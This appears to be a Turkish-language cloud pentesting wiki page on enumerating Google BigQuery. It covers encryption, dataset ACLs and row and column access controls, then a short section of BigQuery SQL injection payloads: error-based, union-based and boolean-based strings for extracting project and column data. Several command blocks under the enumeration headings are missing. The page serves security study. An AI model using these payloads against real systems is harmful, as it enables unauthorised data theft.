GCP - Bigquery Enum
Temel Bilgiler
Google Cloud BigQuery, tamamen yönetilen, sunucusuz kurumsal veri ambarıdır ve büyük ölçekli veri kümelerini verimli bir şekilde işleyerek petabaytlarca veri üzerinde analiz imkanı sunar. Platform olarak Hizmet (PaaS) olarak, kullanıcılara veri yönetimini kolaylaştırmak için altyapı ve araçlar sağlar ve manuel denetim gerektirmez.
ANSI SQL kullanarak sorgulamayı destekler. Ana nesneler, veri içeren tabloları içeren veri kümeleridir.
Şifreleme
Varsayılan olarak Google tarafından yönetilen şifreleme anahtarı kullanılır, ancak Müşteri tarafından yönetilen şifreleme anahtarı (CMEK) yapılandırmak mümkündür. Bir veri kümesi ve veri kümesi içindeki bir tablo için şifreleme anahtarı belirtmek mümkündür.
Süresi Dolmuş
Veri kümesinde bir süresi dolmuş zaman belirtmek mümkündür, böylece bu veri kümesinde oluşturulan her yeni tablo, oluşturulduktan belirtilen gün sayısı sonra otomatik olarak silinir.
Harici Kaynaklar
Bigquery, diğer Google hizmetleriyle derinlemesine entegredir. Verileri kovalardan, pub/sub, google drive, RDS veritabanlarından yüklemek mümkündür...
Veri Kümesi ACL'leri
Bir veri kümesi oluşturulduğunda, üzerine erişim vermek için ACL'ler eklenir. Varsayılan olarak, veri kümesini oluşturan kullanıcı üzerinde Sahip ayrıcalıkları verilir ve ardından projenin Sahipleri grubuna (Projenin Sahipleri), Yazıcı projenin Yazarları grubuna ve Okuyucu projenin Okuyucuları grubuna sahip olur.
Tablo Satırlarının Erişimini Kontrol Etme
Tablo içinde bir ilkenin erişebileceği satırları kontrol etmek mümkündür. Bu satır erişim politikaları kullanılarak tanımlanır. Bunlar, tablo içinde DDL kullanılarak tanımlanır. Erişim politikası bir filtre tanımlar ve yalnızca o filtreye uyan satırlar belirtilen ilkenin erişimine açık olacaktır.
Sütun Erişim Kontrolü
Veri erişimini sütun düzeyinde kısıtlamak için şu adımları izleyebilirsiniz:
Bir sınıflandırma ve politika etiketi tanımlayın. Verileriniz için bir sınıflandırma ve politika etiketi oluşturun ve yönetin. https://console.cloud.google.com/bigquery/policy-tags
İsteğe bağlı: Bir veya daha fazla ilkeye Data Catalog Fine-Grained Reader rolü verin ve oluşturduğunuz politika etiketlerinden bir veya daha fazlasını kullanın.
BigQuery sütunlarına politika etiketleri atayın. BigQuery'de, erişimi kısıtlamak istediğiniz her sütuna bir politika etiketi atamak için şema açıklamalarını kullanın.
Sınıflandırmada erişim kontrolünü uygulayın. Erişim kontrolünü uygulamak, sınıflandırmadaki tüm politika etiketleri için tanımlanan erişim kısıtlamalarının uygulanmasını sağlar.
Politika etiketlerinde erişimi yönetin. Her politika etiketine erişimi kısıtlamak için Kimlik ve Erişim Yönetimi (IAM) politikalarını kullanın. Politika, politika etiketine ait her sütun için etkilidir.
Kullanıcı sorgu zamanında sütun verilerine erişmeye çalıştığında, BigQuery kullanıcının verilere erişim izninin olup olmadığını kontrol etmek için sütun politika etiketini ve ilkesini kontrol eder.
Özetle, belirli kullanıcılara bazı sütunlara erişimi kısıtlamak için şemada bir etiket ekleyebilir ve kullanıcıların erişimini etikete kısıtlayabilirsiniz ve sınıflandırmadaki erişim kontrolünü uygulayabilirsiniz.
Sınıflandırmada erişim kontrolünü uygulamak için hizmetin etkinleştirilmesi gerekmektedir:
Sütunların etiketlerini görmek mümkündür:
Numaralandırma
BigQuery SQL Enjeksiyonu
Daha fazla bilgi için blog yazısına göz atabilirsiniz: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Burada sadece bazı detaylar verilecek.
Yorumlar:
select 1#from here it is not working
select 1/*between those it is not working*/
Ancak sadece başlangıç olan çalışmayacakselect 1--from here it is not working
Çevre hakkında bilgi alın:
Geçerli kullanıcı:
select session_user()
Proje kimliği:
select @@project_id
Veri kümeleri, tablolar ve sütun adlarını alın:
Proje ve veri kümesi adı:
Aynı proje içindeki diğer veri kümeleri:
SQL Injection türleri:
Hata tabanlı - dönüştürme:
select CAST(@@project_id AS INT64)
Hata tabanlı - sıfıra bölme:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Birleşim tabanlı:
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Mantık tabanlı:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potansiyel zaman tabanlı - Genel veri kümeleri kullanımı örneği:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Belgeler:
Yetki Yükseltme ve Son Saldırı
pageGCP - BigQuery PrivescKalıcılık
pageGCP - BigQuery PersistenceReferanslar
Last updated